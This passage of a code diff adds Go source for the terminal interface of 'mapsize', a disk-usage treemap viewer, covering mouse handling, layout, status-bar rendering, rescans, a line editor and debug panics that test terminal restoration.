panic("MAPSIZE_DEBUG_PANIC=ui: deliberate panic to test terminal restoration")
|
||||
}
|
||||
m.dirty = true
|
||||
prev := m.sel
|
||||
m.zoomed = false
|
||||
cmd := m.handleKey(msg)
|
||||
m.noteSelection(prev)
|
||||
return cmd
|
||||
case tea.MouseClickMsg:
|
||||
prev := m.sel
|
||||
m.zoomed = false
|
||||
cmd := m.mouseClick(msg.Mouse())
|
||||
m.noteSelection(prev)
|
||||
return cmd
|
||||
case tea.MouseWheelMsg:
|
||||
return m.mouseWheel(msg.Mouse())
|
||||
case tea.MouseMotionMsg:
|
||||
m.mouseMotion(msg.Mouse())
|
||||
case tea.ColorProfileMsg:
|
||||
if !m.forced {
|
||||
m.profile = msg.Profile
|
||||
}
|
||||
m.dirty = true
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// noteSelection records that the user chose a selection explicitly.
|
||||
func (m *Model) noteSelection(prev int64) {
|
||||
if !m.zoomed && m.sel != prev && m.sel != noSel {
|
||||
m.userSel = true
|
||||
}
|
||||
}
|
||||
|
||||
func (m *Model) scanFinished() tea.Cmd {
|
||||
m.scanning = false
|
||||
m.invalidate()
|
||||
m.resolvePendingZoom()
|
||||
t := m.tree
|
||||
t.RLock()
|
||||
st := t.Stats
|
||||
r := t.Node(t.Root())
|
||||
total := r.Total(m.sizeMode)
|
||||
files := st.Files + st.Symlinks + st.Others
|
||||
errs := st.TotalErrors()
|
||||
el := st.Elapsed()
|
||||
t.RUnlock()
|
||||
slog.Info("scan finished", "files", files, "dirs", st.Dirs, "bytes", total, "errors", errs,
|
||||
"cancelled", st.Cancelled, "elapsed", el)
|
||||
var cmds []tea.Cmd
|
||||
rate := float64(files+st.Dirs) / max(el.Seconds(), 0.001)
|
||||
msg := fmt.Sprintf("✓ Scan complete %s · %s files · %s dirs · %s · %s/s",
|
||||
textutil.Duration(el), textutil.Count(files), textutil.Count(st.Dirs), textutil.Size(total), textutil.Count(int64(rate)))
|
||||
if st.Cancelled {
|
||||
msg = "✗ Scan cancelled — totals are incomplete"
|
||||
}
|
||||
if errs > 0 {
|
||||
msg += fmt.Sprintf(" · %s errors (e)", textutil.Count(errs))
|
||||
}
|
||||
if st.Cancelled || errs > 0 {
|
||||
cmds = append(cmds, m.warn(msg))
|
||||
} else {
|
||||
cmds = append(cmds, m.notify(msg, Style{FG: m.theme.OK, BG: m.theme.StatusBg, Attr: Bold}))
|
||||
}
|
||||
if m.opts.Save != "" && !st.Cancelled {
|
||||
cmds = append(cmds, m.saveSnapshot(m.opts.Save))
|
||||
}
|
||||
if m.search.query != nil {
|
||||
cmds = append(cmds, m.applyFilter())
|
||||
}
|
||||
return tea.Batch(cmds...)
|
||||
}
|
||||
|
||||
// ctrlCPressed: first press cancels a running scan, second quits.
|
||||
func (m *Model) ctrlCPressed() tea.Cmd {
|
||||
if m.scanning && !m.ctrlC {
|
||||
m.ctrlC = true
|
||||
m.cancel()
|
||||
return m.warn("Cancelling scan… press Ctrl+C again to quit")
|
||||
}
|
||||
m.quit = true
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *Model) rescan() tea.Cmd {
|
||||
if m.snapshot {
|
||||
return m.warn("Snapshot loaded — nothing to rescan")
|
||||
}
|
||||
// Called from handleKey, which holds the old tree's read lock.
|
||||
m.pendingZoom = m.tree.Path(m.zoom)
|
||||
m.cancel()
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
s, t, err := m.opts.Start(ctx)
|
||||
if err != nil {
|
||||
cancel()
|
||||
return m.warn("Rescan failed: " + textutil.Sanitize(err.Error()))
|
||||
}
|
||||
m.scanner, m.tree, m.cancel, m.scanning, m.ctrlC = s, t, cancel, s != nil, false
|
||||
m.zoom, m.sel = t.Root(), noSel
|
||||
m.kidsCache = map[inventory.NodeID]*kids{}
|
||||
if m.dups != nil {
|
||||
m.dups.cancel()
|
||||
m.dups = nil
|
||||
// Drop the duplicates view: its rows referred to the old tree.
|
||||
for i, v := range m.views {
|
||||
if _, ok := v.(*dupView); ok {
|
||||
m.views = append(m.views[:i], m.views[i+1:]...)
|
||||
m.view = 0
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
m.search.result = nil
|
||||
m.search.gen++ // results computed against the old tree are discarded
|
||||
m.invalidate()
|
||||
return tea.Batch(waitScan(s), m.startTicking(), m.info("Rescanning…"), m.applyFilter())
|
||||
}
|
||||
|
||||
// resolvePendingZoom re-zooms into the remembered directory once the new
|
||||
// scan has discovered it.
|
||||
func (m *Model) resolvePendingZoom() {
|
||||
if m.pendingZoom == "" {
|
||||
return
|
||||
}
|
||||
m.tree.RLock()
|
||||
defer m.tree.RUnlock()
|
||||
root := m.tree.Path(m.tree.Root())
|
||||
rel, err := filepath.Rel(root, m.pendingZoom)
|
||||
if err != nil || strings.HasPrefix(rel, "..") {
|
||||
m.pendingZoom = ""
|
||||
return
|
||||
}
|
||||
id := m.tree.Root()
|
||||
if rel != "." {
|
||||
for _, part := range strings.Split(rel, string(filepath.Separator)) {
|
||||
next := inventory.NoNode
|
||||
m.tree.Children(id, func(c inventory.NodeID, n *inventory.Node) {
|
||||
if n.Name == part {
|
||||
next = c
|
||||
}
|
||||
})
|
||||
if next == inventory.NoNode {
|
||||
return // not discovered yet
|
||||
}
|
||||
id = next
|
||||
}
|
||||
}
|
||||
m.zoom = id
|
||||
m.pendingZoom = ""
|
||||
m.dirty = true
|
||||
}
|
||||
|
||||
// View renders the frame. Expensive work happens only when something
|
||||
// changed; otherwise the cached frame is returned.
|
||||
func (m *Model) View() tea.View {
|
||||
if m.dirty || m.frame == "" {
|
||||
m.frame = m.render()
|
||||
m.dirty = false
|
||||
}
|
||||
v := tea.NewView(m.frame)
|
||||
v.AltScreen = true
|
||||
if m.opts.Mouse {
|
||||
v.MouseMode = tea.MouseModeAllMotion
|
||||
}
|
||||
v.WindowTitle = brand.Name
|
||||
return v
|
||||
}
|
||||
@@ -0,0 +1,110 @@
|
||||
package tui
|
||||
|
||||
import (
|
||||
"time"
|
||||
|
||||
tea "charm.land/bubbletea/v2"
|
||||
|
||||
"github.com/andydixon/mapsize/internal/inventory"
|
||||
)
|
||||
|
||||
const doubleClick = 400 * time.Millisecond
|
||||
|
||||
func (m *Model) mouseClick(ev tea.Mouse) tea.Cmd {
|
||||
t := m.tree
|
||||
t.RLock()
|
||||
defer t.RUnlock()
|
||||
m.dirty = true
|
||||
if len(m.modals) > 0 {
|
||||
// Clicking outside the modal closes it.
|
||||
if len(m.hits) > 0 && !m.hits[0].r.Contains(ev.X, ev.Y) {
|
||||
m.closeModal()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
if ev.Button == tea.MouseRight {
|
||||
for _, h := range m.hits {
|
||||
if h.r.Contains(ev.X, ev.Y) {
|
||||
h.fn(m, false)
|
||||
return m.inspectSelection()
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
if ev.Button != tea.MouseLeft {
|
||||
return nil
|
||||
}
|
||||
for i := len(m.hits) - 1; i >= 0; i-- {
|
||||
h := m.hits[i]
|
||||
if h.r.Contains(ev.X, ev.Y) {
|
||||
key := int64(ev.Y)<<32 | int64(i)
|
||||
double := time.Since(m.lastClick) < doubleClick && m.lastClickI == key
|
||||
m.lastClick, m.lastClickI = time.Now(), key
|
||||
if double {
|
||||
m.lastClickI = noSel
|
||||
}
|
||||
return h.fn(m, double)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// clickBlock selects a treemap block; a double click zooms (or inspects).
|
||||
func (m *Model) clickBlock(id int64, double bool) tea.Cmd {
|
||||
m.sel = id
|
||||
if !double {
|
||||
return nil
|
||||
}
|
||||
if !isGroup(id) && !m.tree.Node(inventory.NodeID(id)).IsDir() {
|
||||
return m.inspectSelection()
|
||||
}
|
||||
return m.zoomIntoSelection()
|
||||
}
|
||||
|
||||
func (m *Model) mouseWheel(ev tea.Mouse) tea.Cmd {
|
||||
t := m.tree
|
||||
t.RLock()
|
||||
defer t.RUnlock()
|
||||
m.dirty = true
|
||||
up := ev.Button == tea.MouseWheelUp
|
||||
if ev.Button != tea.MouseWheelUp && ev.Button != tea.MouseWheelDown {
|
||||
return nil
|
||||
}
|
||||
if len(m.modals) > 0 {
|
||||
f := m.modals[len(m.modals)-1].(*modalFrame)
|
||||
if up {
|
||||
f.scroll -= 3
|
||||
} else {
|
||||
f.scroll += 3
|
||||
}
|
||||
f.clampScroll()
|
||||
return nil
|
||||
}
|
||||
if up {
|
||||
// Zoom towards the block under the pointer.
|
||||
if l := m.tm; l != nil && m.view == 0 {
|
||||
for _, b := range l.blocks {
|
||||
if b.Contains(ev.X, ev.Y) {
|
||||
m.sel = b.ID
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return m.views[m.view].wheel(m, up)
|
||||
}
|
||||
|
||||
func (m *Model) mouseMotion(ev tea.Mouse) {
|
||||
h := noSel
|
||||
if l := m.tm; l != nil && m.view == 0 && len(m.modals) == 0 {
|
||||
for _, b := range l.blocks {
|
||||
if b.Contains(ev.X, ev.Y) {
|
||||
h = b.ID
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
if h != m.hover {
|
||||
m.hover = h
|
||||
m.dirty = true
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,422 @@
|
||||
package tui
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
tea "charm.land/bubbletea/v2"
|
||||
"github.com/charmbracelet/colorprofile"
|
||||
|
||||
"github.com/andydixon/mapsize/internal/brand"
|
||||
"github.com/andydixon/mapsize/internal/inventory"
|
||||
"github.com/andydixon/mapsize/internal/textutil"
|
||||
"github.com/andydixon/mapsize/internal/treemap"
|
||||
)
|
||||
|
||||
// Minimum usable terminal size.
|
||||
const minW, minH = 40, 10
|
||||
|
||||
type sizeClass int
|
||||
|
||||
const (
|
||||
tooSmall sizeClass = iota
|
||||
small
|
||||
medium
|
||||
large
|
||||
)
|
||||
|
||||
// geometry is the panel layout for one terminal size. It is recomputed from
|
||||
// scratch for every frame, so resizing can never leave stale geometry.
|
||||
type geometry struct {
|
||||
class sizeClass
|
||||
tabs, crumbs treemap.Rect // tabs is empty in the small layout
|
||||
main, side, info, stat treemap.Rect
|
||||
}
|
||||
|
||||
func computeGeometry(w, h int) geometry {
|
||||
g := geometry{}
|
||||
switch {
|
||||
case w < minW || h < minH:
|
||||
g.class = tooSmall
|
||||
return g
|
||||
case w >= 150 && h >= 36:
|
||||
g.class = large
|
||||
case w >= 90 && h >= 22:
|
||||
g.class = medium
|
||||
default:
|
||||
g.class = small
|
||||
}
|
||||
y := 0
|
||||
if g.class >= medium {
|
||||
g.tabs = treemap.Rect{X: 0, Y: 0, W: w, H: 1}
|
||||
y = 1
|
||||
}
|
||||
g.crumbs = treemap.Rect{X: 0, Y: y, W: w, H: 1}
|
||||
y++
|
||||
bottom := h - 1
|
||||
g.stat = treemap.Rect{X: 0, Y: h - 1, W: w, H: 1}
|
||||
if g.class >= medium {
|
||||
g.info = treemap.Rect{X: 0, Y: h - 2, W: w, H: 1}
|
||||
bottom = h - 2
|
||||
}
|
||||
g.main = treemap.Rect{X: 0, Y: y, W: w, H: bottom - y}
|
||||
if g.class == large {
|
||||
sw := min(40, w/5)
|
||||
g.side = treemap.Rect{X: 0, Y: y, W: sw, H: g.main.H}
|
||||
g.main.X, g.main.W = sw, w-sw
|
||||
}
|
||||
return g
|
||||
}
|
||||
|
||||
func (m *Model) render() string {
|
||||
t := m.theme
|
||||
cv := NewCanvas(m.w, m.h, t.base())
|
||||
m.hits = m.hits[:0]
|
||||
g := computeGeometry(m.w, m.h)
|
||||
if g.class == tooSmall {
|
||||
m.renderTooSmall(cv)
|
||||
return cv.Render(m.depth())
|
||||
}
|
||||
m.tree.RLock()
|
||||
defer m.tree.RUnlock()
|
||||
|
||||
m.ensureSelection()
|
||||
if g.tabs.W > 0 {
|
||||
m.paintTabs(cv, g.tabs)
|
||||
}
|
||||
m.paintCrumbs(cv, g.crumbs)
|
||||
if !g.side.Empty() {
|
||||
m.paintSide(cv, g.side)
|
||||
}
|
||||
m.views[m.view].paint(m, cv, g.main)
|
||||
if !g.info.Empty() {
|
||||
m.paintInfoLine(cv, g.info)
|
||||
}
|
||||
m.paintStatus(cv, g.stat, g.class)
|
||||
if g.class == small && m.search.editing {
|
||||
m.paintSearch(cv, g.stat)
|
||||
}
|
||||
if len(m.modals) > 0 {
|
||||
m.paintModal(cv)
|
||||
}
|
||||
return cv.Render(m.depth())
|
||||
}
|
||||
|
||||
func (m *Model) depth() colorDepth {
|
||||
switch m.profile {
|
||||
case colorprofile.ANSI256:
|
||||
return depth256
|
||||
case colorprofile.ANSI:
|
||||
return depth16
|
||||
}
|
||||
return depthTrue
|
||||
}
|
||||
|
||||
func (m *Model) renderTooSmall(cv *Canvas) {
|
||||
st := m.theme.muted()
|
||||
lines := []string{"Terminal too small", fmt.Sprintf("%d×%d — need %d×%d", m.w, m.h, minW, minH), "q quits"}
|
||||
y0 := max(0, (m.h-len(lines))/2)
|
||||
for i, l := range lines {
|
||||
cv.TextCentered(0, y0+i, m.w, l, st)
|
||||
}
|
||||
}
|
||||
|
||||
// paintTabs draws the view tabs and mode chips.
|
||||
func (m *Model) paintTabs(cv *Canvas, r treemap.Rect) {
|
||||
t := m.theme
|
||||
cv.Fill(r, " ", t.header())
|
||||
badge := " ◧ " + brand.Name + " "
|
||||
if t.ASCII {
|
||||
badge = " " + brand.Name + " "
|
||||
}
|
||||
x := cv.Text(r.X, r.Y, badge, r.W, Style{FG: t.textOn(t.Accent), BG: t.Accent, Attr: Bold | m.monoRev()})
|
||||
x++
|
||||
for i, v := range m.views {
|
||||
label := " " + v.name() + " "
|
||||
st := Style{FG: t.Muted, BG: t.HeaderBg}
|
||||
if i == m.view {
|
||||
st = Style{FG: t.Fg, BG: t.Bg, Attr: Bold | Underline}
|
||||
}
|
||||
if x+textutil.Width(label) >= r.W-30 {
|
||||
break
|
||||
}
|
||||
w := cv.Text(x, r.Y, label, r.W-x, st)
|
||||
idx := i
|
||||
m.hits = append(m.hits, hit{treemap.Rect{X: x, Y: r.Y, W: w, H: 1}, func(m *Model, _ bool) tea.Cmd { m.setView(idx); return nil }})
|
||||
x += w
|
||||
}
|
||||
// Right-aligned chips.
|
||||
var chips []struct {
|
||||
s string
|
||||
bg Color
|
||||
}
|
||||
add := func(s string, bg Color) {
|
||||
chips = append(chips, struct {
|
||||
s string
|
||||
bg Color
|
||||
}{s, bg})
|
||||
}
|
||||
if m.opts.ReadOnly {
|
||||
add("READ ONLY", t.Err)
|
||||
}
|
||||
if m.snapshot {
|
||||
add("SNAPSHOT", t.Accent)
|
||||
}
|
||||
if m.opts.Diff != nil {
|
||||
add("COMPARE", t.DiffNew)
|
||||
}
|
||||
if m.search.query != nil {
|
||||
add("FILTER", t.Warn)
|
||||
}
|
||||
if len(m.tree.Stats.Excludes) > 0 {
|
||||
add(fmt.Sprintf("EXCL %d", len(m.tree.Stats.Excludes)), t.Faint)
|
||||
}
|
||||
add(strings.ToUpper(m.sizeMode.String()), t.Faint)
|
||||
rx := r.X + r.W
|
||||
for i := len(chips) - 1; i >= 0; i-- {
|
||||
s := " " + chips[i].s + " "
|
||||
w := textutil.Width(s)
|
||||
if rx-w-1 < x {
|
||||
break
|
||||
}
|
||||
rx -= w
|
||||
cv.Text(rx, r.Y, s, w, Style{FG: t.textOn(chips[i].bg), BG: chips[i].bg, Attr: Bold | m.monoRev()})
|
||||
rx--
|
||||
}
|
||||
}
|
||||
|
||||
func (m *Model) monoRev() Attr {
|
||||
if m.theme.Mono {
|
||||
return Reverse
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
// paintCrumbs draws "/ › home › andy" breadcrumbs, truncated from the left,
|
||||
// with the zoom root's size on the right.
|
||||
func (m *Model) paintCrumbs(cv *Canvas, r treemap.Rect) {
|
||||
t := m.theme
|
||||
cv.Fill(r, " ", t.header())
|
||||
tr := m.tree
|
||||
z := tr.Node(m.zoom)
|
||||
size := m.sizeOf(m.zoom)
|
||||
right := " " + textutil.Size(size)
|
||||
if root := m.sizeOf(tr.Root()); m.zoom != tr.Root() && root > 0 {
|
||||
right += " " + textutil.Percent(size, root) + " of scan"
|
||||
}
|
||||
if m.search.result != nil {
|
||||
right += fmt.Sprintf(" (%s matches)", textutil.Count(m.search.result.Count))
|
||||
}
|
||||
if z.IsDir() {
|
||||
right += fmt.Sprintf(" %s files", textutil.Count(int64(z.Files)))
|
||||
}
|
||||
right += " "
|
||||
rw := textutil.Width(right)
|
||||
if rw > r.W/2 {
|
||||
right = " " + textutil.SizeCompact(size) + " "
|
||||
rw = textutil.Width(right)
|
||||
}
|
||||
cv.TextRight(r.X, r.Y, r.W, right, Style{FG: t.HeaderFg, BG: t.HeaderBg, Attr: Bold})
|
||||
|
||||
sep := " › "
|
||||
if t.ASCII {
|
||||
sep = " > "
|
||||
}
|
||||
chain := tr.Ancestors(m.zoom)
|
||||
type seg struct {
|
||||
id inventory.NodeID
|
||||
s string
|
||||
}
|
||||
segs := make([]seg, len(chain))
|
||||
for i, id := range chain {
|
||||
segs[i] = seg{id, textutil.Sanitize(tr.Node(id).Name)}
|
||||
}
|
||||
avail := r.W - rw - 2
|
||||
// Drop leading segments until the rest fits; keep at least the last.
|
||||
total := func(from int) int {
|
||||
w := 0
|
||||
for i := from; i < len(segs); i++ {
|
||||
w += textutil.Width(segs[i].s)
|
||||
if i > from {
|
||||
w += textutil.Width(sep)
|
||||
}
|
||||
}
|
||||
if from > 0 {
|
||||
w += textutil.Width("…" + sep)
|
||||
}
|
||||
return w
|
||||
}
|
||||
from := 0
|
||||
for from < len(segs)-1 && total(from) > avail {
|
||||
from++
|
||||
}
|
||||
x := r.X + 1
|
||||
if from > 0 {
|
||||
x += cv.Text(x, r.Y, "…"+sep, avail, Style{FG: t.Muted, BG: t.HeaderBg})
|
||||
}
|
||||
for i := from; i < len(segs); i++ {
|
||||
if i > from {
|
||||
x += cv.Text(x, r.Y, sep, r.X+1+avail-x, Style{FG: t.Faint, BG: t.HeaderBg})
|
||||
}
|
||||
st := Style{FG: t.Muted, BG: t.HeaderBg}
|
||||
if i == len(segs)-1 {
|
||||
st = Style{FG: t.Fg, BG: t.HeaderBg, Attr: Bold}
|
||||
}
|
||||
s := segs[i].s
|
||||
if i == len(segs)-1 {
|
||||
s = textutil.TruncateLeft(s, max(1, r.X+1+avail-x))
|
||||
}
|
||||
w := cv.Text(x, r.Y, s, r.X+1+avail-x, st)
|
||||
id := segs[i].id
|
||||
m.hits = append(m.hits, hit{treemap.Rect{X: x, Y: r.Y, W: w, H: 1}, func(m *Model, _ bool) tea.Cmd { m.zoomTo(id); return nil }})
|
||||
x += w
|
||||
}
|
||||
}
|
||||
|
||||
// paintInfoLine describes the selection (or shows the search editor).
|
||||
func (m *Model) paintInfoLine(cv *Canvas, r treemap.Rect) {
|
||||
t := m.theme
|
||||
cv.Fill(r, " ", t.panel())
|
||||
if m.search.editing {
|
||||
m.paintSearch(cv, r)
|
||||
return
|
||||
}
|
||||
if m.search.query != nil {
|
||||
m.paintFilterSummary(cv, r)
|
||||
return
|
||||
}
|
||||
cv.Text(r.X+1, r.Y, m.describeSelection(), r.W-2, t.panel())
|
||||
}
|
||||
|
||||
func (m *Model) describeSelection() string {
|
||||
id := m.selectedNode()
|
||||
tr := m.tree
|
||||
if isGroup(m.sel) {
|
||||
if g, ok := m.groupInfo(m.sel); ok {
|
||||
return fmt.Sprintf("▸ %s smaller items · %s · %s of %s · Enter lists them",
|
||||
textutil.Count(int64(len(g.ids))), textutil.Size(g.size), textutil.Percent(g.size, m.sizeOf(m.zoom)),
|
||||
textutil.Sanitize(tr.Node(m.zoom).Name))
|
||||
}
|
||||
}
|
||||
if id == inventory.NoNode {
|
||||
return "Nothing selected"
|
||||
}
|
||||
n := tr.Node(id)
|
||||
parts := []string{"▸ " + textutil.Sanitize(n.Name)}
|
||||
parts = append(parts, textutil.Size(m.sizeOf(id)))
|
||||
if p := n.Parent; p != inventory.NoNode {
|
||||
parts = append(parts, textutil.Percent(m.sizeOf(id), m.sizeOf(p))+" of parent")
|
||||
}
|
||||
if n.IsDir() {
|
||||
parts = append(parts, textutil.Count(int64(n.Files))+" files", textutil.Count(int64(n.Dirs))+" dirs")
|
||||
if n.Flags&inventory.FlagScanned == 0 && m.scanning {
|
||||
parts = append(parts, "scanning…")
|
||||
}
|
||||
} else {
|
||||
parts = append(parts, kindLabel(tr, n))
|
||||
}
|
||||
if n.MTime > 0 {
|
||||
parts = append(parts, "modified "+time.Unix(0, n.MTime).Format("2006-01-02"))
|
||||
}
|
||||
if n.Errors > 0 {
|
||||
parts = append(parts, fmt.Sprintf("%d errors", n.Errors))
|
||||
}
|
||||
if m.opts.Diff != nil {
|
||||
parts = append(parts, textutil.SignedSize(m.opts.Diff.Delta(id, m.sizeMode))+" vs old snapshot")
|
||||
}
|
||||
return strings.Join(parts, " · ")
|
||||
}
|
||||
|
||||
func kindLabel(tr *inventory.Tree, n *inventory.Node) string {
|
||||
switch n.Kind {
|
||||
case inventory.KindFile:
|
||||
return n.Cat.String()
|
||||
case inventory.KindSymlink:
|
||||
return "symlink"
|
||||
}
|
||||
return n.Kind.String()
|
||||
}
|
||||
|
||||
var spinner = []string{"⠋", "⠙", "⠹", "⠸", "⠼", "⠴", "⠦", "⠧", "⠇", "⠏"}
|
||||
|
||||
// paintStatus draws the live status bar.
|
||||
func (m *Model) paintStatus(cv *Canvas, r treemap.Rect, class sizeClass) {
|
||||
t := m.theme
|
||||
cv.Fill(r, " ", t.status())
|
||||
help := " ? help "
|
||||
if class == small {
|
||||
help = " ? "
|
||||
}
|
||||
hw := cv.Text(r.X+r.W-textutil.Width(help), r.Y, help, r.W, Style{FG: t.Muted, BG: t.StatusBg})
|
||||
avail := r.W - hw - 1
|
||||
if m.toast != "" {
|
||||
cv.Text(r.X+1, r.Y, m.toast, avail-1, m.toastStyle)
|
||||
return
|
||||
}
|
||||
st := &m.tree.Stats
|
||||
root := m.tree.Node(m.tree.Root())
|
||||
files := st.Files + st.Symlinks + st.Others
|
||||
var parts []struct {
|
||||
s string
|
||||
fg Color
|
||||
}
|
||||
add := func(s string, fg Color) {
|
||||
parts = append(parts, struct {
|
||||
s string
|
||||
fg Color
|
||||
}{s, fg})
|
||||
}
|
||||
switch {
|
||||
case m.scanning:
|
||||
frame := spinner[int(time.Now().UnixMilli()/100)%len(spinner)]
|
||||
if t.ASCII {
|
||||
frame = "*"
|
||||
}
|
||||
add(frame+" scanning", t.Accent)
|
||||
case st.Cancelled:
|
||||
add("✗ cancelled", t.Warn)
|
||||
case m.snapshot:
|
||||
add("◉ snapshot", t.Accent)
|
||||
default:
|
||||
add("✓ complete", t.OK)
|
||||
}
|
||||
add(textutil.Count(files)+" files", t.StatusFg)
|
||||
add(textutil.Size(root.Total(m.sizeMode)), t.StatusFg)
|
||||
if m.scanning {
|
||||
el := st.Elapsed()
|
||||
p := m.scanner.Progress()
|
||||
add(textutil.Count(int64(float64(p.Entries)/max(el.Seconds(), 0.001)))+"/s", t.StatusFg)
|
||||
if class != small {
|
||||
add(fmt.Sprintf("%d workers", p.Workers), t.Muted)
|
||||
add(fmt.Sprintf("queue %s", textutil.Count(p.Pending)), t.Muted)
|
||||
}
|
||||
add(textutil.Duration(el), t.Muted)
|
||||
} else if !m.snapshot && class != small {
|
||||
add(textutil.Duration(st.Elapsed()), t.Muted)
|
||||
}
|
||||
if e := st.TotalErrors(); e > 0 {
|
||||
add(fmt.Sprintf("%s errors", textutil.Count(e)), t.Err)
|
||||
}
|
||||
if st.Excluded > 0 {
|
||||
add(fmt.Sprintf("%s excluded", textutil.Count(st.Excluded)), t.Warn)
|
||||
}
|
||||
if st.Incomplete() && !m.scanning && class != small {
|
||||
add("totals incomplete", t.Warn)
|
||||
}
|
||||
x := r.X + 1
|
||||
for i, p := range parts {
|
||||
s := p.s
|
||||
if i > 0 {
|
||||
s = " " + s
|
||||
}
|
||||
if x+textutil.Width(s) > r.X+avail {
|
||||
break
|
||||
}
|
||||
st := Style{FG: p.fg, BG: t.StatusBg}
|
||||
if i == 0 {
|
||||
st.Attr = Bold
|
||||
}
|
||||
x += cv.Text(x, r.Y, s, avail-x, st)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,72 @@
|
||||
package tui
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"runtime/debug"
|
||||
"time"
|
||||
|
||||
tea "charm.land/bubbletea/v2"
|
||||
"github.com/charmbracelet/colorprofile"
|
||||
|
||||
"github.com/andydixon/mapsize/internal/inventory"
|
||||
"github.com/andydixon/mapsize/internal/scan"
|
||||
"github.com/andydixon/mapsize/internal/snapshot"
|
||||
"github.com/andydixon/mapsize/internal/textutil"
|
||||
)
|
||||
|
||||
var profiles = map[string]colorprofile.Profile{
|
||||
"truecolor": colorprofile.TrueColor, "24bit": colorprofile.TrueColor,
|
||||
"256": colorprofile.ANSI256, "16": colorprofile.ANSI, "none": colorprofile.ASCII,
|
||||
}
|
||||
|
||||
func saveFile(path string, t *inventory.Tree) error { return snapshot.SaveFile(path, t) }
|
||||
|
||||
// Run starts the interactive UI. The terminal is restored on every exit
|
||||
// path: normal quit, Ctrl+C, errors and panics (Bubble Tea recovers panics
|
||||
// in Update/View; scanner goroutine panics are routed here via
|
||||
// scan.OnPanic and reported after the terminal is restored).
|
||||
func Run(opts Options) error {
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
defer cancel()
|
||||
s, t, err := opts.Start(ctx)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
m := newModel(opts, s, t, cancel)
|
||||
var popts []tea.ProgramOption
|
||||
if p, ok := profiles[opts.Color]; ok {
|
||||
m.profile, m.forced = p, true
|
||||
popts = append(popts, tea.WithColorProfile(p))
|
||||
} else if opts.Color != "" && opts.Color != "auto" {
|
||||
return fmt.Errorf("invalid --color %q (auto, truecolor, 256, 16, none)", opts.Color)
|
||||
}
|
||||
p := tea.NewProgram(m, popts...)
|
||||
prev := scan.OnPanic
|
||||
scan.OnPanic = func(v any, stack []byte) {
|
||||
p.Send(fatalMsg{v, stack})
|
||||
select {} // park the broken goroutine; the program is quitting
|
||||
}
|
||||
defer func() { scan.OnPanic = prev }()
|
||||
if debugPanic == "scanner" {
|
||||
go func() {
|
||||
time.Sleep(500 * time.Millisecond)
|
||||
defer func() {
|
||||
if v := recover(); v != nil {
|
||||
scan.OnPanic(v, debug.Stack())
|
||||
}
|
||||
}()
|
||||
panic("MAPSIZE_DEBUG_PANIC=scanner: deliberate panic to test terminal restoration")
|
||||
}()
|
||||
}
|
||||
|
||||
_, err = p.Run()
|
||||
cancel()
|
||||
if m.fatal != nil {
|
||||
fmt.Fprintf(os.Stderr, "mapsize: internal error in scanner: %s\n\n%s\n",
|
||||
textutil.Sanitize(fmt.Sprint(m.fatal.v)), m.fatal.stack)
|
||||
return fmt.Errorf("scanner crashed")
|
||||
}
|
||||
return err
|
||||
}
|
||||
@@ -0,0 +1,260 @@
|
||||
package tui
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"time"
|
||||
|
||||
tea "charm.land/bubbletea/v2"
|
||||
|
||||
"github.com/andydixon/mapsize/internal/filter"
|
||||
"github.com/andydixon/mapsize/internal/textutil"
|
||||
"github.com/andydixon/mapsize/internal/treemap"
|
||||
)
|
||||
|
||||
// lineEditor is a minimal single-line text editor.
|
||||
type lineEditor struct {
|
||||
buf []rune
|
||||
cur int
|
||||
}
|
||||
|
||||
func (e *lineEditor) String() string { return string(e.buf) }
|
||||
|
||||
func (e *lineEditor) set(s string) { e.buf, e.cur = []rune(s), len([]rune(s)) }
|
||||
|
||||
// key applies an editing key; it reports whether the text changed.
|
||||
func (e *lineEditor) key(msg tea.KeyPressMsg) (changed, handled bool) {
|
||||
switch msg.Keystroke() {
|
||||
case "left", "ctrl+b":
|
||||
e.cur = max(0, e.cur-1)
|
||||
case "right", "ctrl+f":
|
||||
e.cur = min(len(e.buf), e.cur+1)
|
||||
case "home", "ctrl+a":
|
||||
e.cur = 0
|
||||
case "end", "ctrl+e":
|
||||
e.cur = len(e.buf)
|
||||
case "backspace", "ctrl+h":
|
||||
if e.cur > 0 {
|
||||
e.buf = append(e.buf[:e.cur-1], e.buf[e.cur:]...)
|
||||
e.cur--
|
||||
return true, true
|
||||
}
|
||||
case "delete", "ctrl+d":
|
||||
if e.cur < len(e.buf) {
|
||||
e.buf = append(e.buf[:e.cur], e.buf[e.cur+1:]...)
|
||||
return true, true
|
||||
}
|
||||
case "ctrl+u":
|
||||
e.buf, e.cur = e.buf[e.cur:], 0
|
||||
return true, true
|
||||
case "ctrl+k":
|
||||
e.buf = e.buf[:e.cur]
|
||||
return true, true
|
||||
case "ctrl+w", "alt+backspace":
|
||||
i := e.cur
|
||||
for i > 0 && e.buf[i-1] == ' ' {
|
||||
i--
|
||||
}
|
||||
for i > 0 && e.buf[i-1] != ' ' {
|
||||
i--
|
||||
}
|
||||
e.buf = append(e.buf[:i], e.buf[e.cur:]...)
|
||||
e.cur = i
|
||||
return true, true
|
||||
default:
|
||||
txt := msg.Text
|
||||
if txt == "" || msg.Mod&(tea.ModCtrl|tea.ModAlt) != 0 {
|
||||
return false, false
|
||||
}
|
||||
var rs []rune
|
||||
for _, r := range txt {
|
||||
if r >= 0x20 && r != 0x7f {
|
||||
rs = append(rs, r)
|
||||
}
|
||||
}
|
||||
if len(rs) == 0 || len(e.buf)+len(rs) > 1024 {
|
||||
return false, true
|
||||
}
|
||||
